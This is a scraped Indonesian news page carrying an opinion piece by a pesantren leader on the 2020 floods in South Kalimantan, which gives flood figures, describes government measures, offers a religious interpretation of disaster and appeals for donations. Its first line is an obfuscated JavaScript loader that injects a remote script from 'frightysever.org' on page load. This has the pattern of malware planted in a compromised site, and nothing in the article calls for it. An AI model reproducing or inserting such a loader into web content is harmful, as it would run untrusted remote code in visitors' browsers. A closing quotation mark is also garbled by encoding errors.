(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bencana tahunan kembali melanda Kalimantan Selatan.  Usai, kebakaran hutan dan lahan, bencana banjir terjadi sebanyak 121 peristiwa. Data BPBD Kalsel hingga 10 Februari 2020, setidaknya 12.427 kepala keluarga atau setara dengan 35.161 jiwa terdampak banjir.
Pemerintah sudah berupaya keras menangani bencana ini, dari sejak kesiapsigaan dan pencegahan, aksi tangggap darurat dan penyaluran logistik, hingga pasca banjir dengan melakukan rehabilitasi dan rekontruksi.
Dari segi teoritis, banjir adalah bencana yang terjadi akibat keganangan air yang menggenangi suatu wilayah yang biasanya tidak digenangi dalam waktu tertentu.  Bencana banjir di Kalsel disebabkan oleh adanya curah hujan yang tinggi dan terus menerus, yang mengakibatkan meluapnya air karena melebihi dari kapasitas sungai.
Kita patut mengakui keseriusan pemerintah dalam menangangi banjir , seperti perencanaan penambahan kapasitas sungai, pebaikan kualitas sungai, membuat kanal baru, membangun embung, membangun tanggul, dan pengalihan debit air.
Sementara bagi masyarakat yang terdampak banjir, yang harus disadari bahwa peristiwa bencana tidak lepas dari kehendak atau takdir Allah SWT. Dari segi faktor alam, mungkin merupakan siklus alam. Namun semua itu terjadi karena mutlak skenario Allah. Indikator terjadi bencana, dalam perspektif iman,  bisa disebabkan oleh beberapa faktor. Pertama, dalam bahasa Ebiet G Ade, karena alam mulai enggan bersahabat dengan kita, atau Tuhan sudah bosan melihat tingkah kita.  Kedua, bencana banjir diakibatkan oleh perbuatan manusia  yang tidak arif dengan alam (Rum : 41, Syura : 30). Ketiga, bencana terjadi karena manusia sudah lupa dengan nabi Muhammad dan tak lagi banyak beristighfar (Al Anfal :33).
Mengatasi hal tersebut, ada beberapa hal yang bisa dilakukan, pertama menurut Imam Ali RA, “ sebuah bala tidak akan turun kecuali karena dosa manusia. Untuk diangkatnya bala, kuncinya dengan taubatâ€ÂÂ. Kedua, ketahuilah bahwa semua musibah itu datang pasti sesuai dengan takaran kekuatan atau kemampuan manusia itu sendiri, untuk itu sikap kita ialah harus bersabar. Ketiga, yang mendapat musibah harus bahagia karena menjadi salah satu hamba yang Allah diberi ujian dan cobaan, yang tujuannya untuk menaikkan derajat keimanan. Keempat, kembalikan semua musibah itu dari Allah, selanjutnya kita kembalikan kepada Allah, dan Beliau pasti memberikan hikmah terbaik untuk kita. Kelima, ketika musibah itu datang, mintalah dengan kesabaran dan gemar melaksanakan shalat (Surah Al Baqarah 45). Keenam, musibah itu ialah untuk menghapus dosa-dosa dan agar hambanya lebih dekat lagi dengan sang Maha Kuasa.
Mari kita bantu saudara-saudara kita yang mengalami musibah banjir, gembirakan hatinya dengan memberikan infaq terbaik, dalam bentuk tenaga maupun harta. ( Ustadz Muhari, Pimp. Pesantren Tahfidz Raudhotul Muta’allimin Annahdliyah (RMA) Banjarbaru )
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.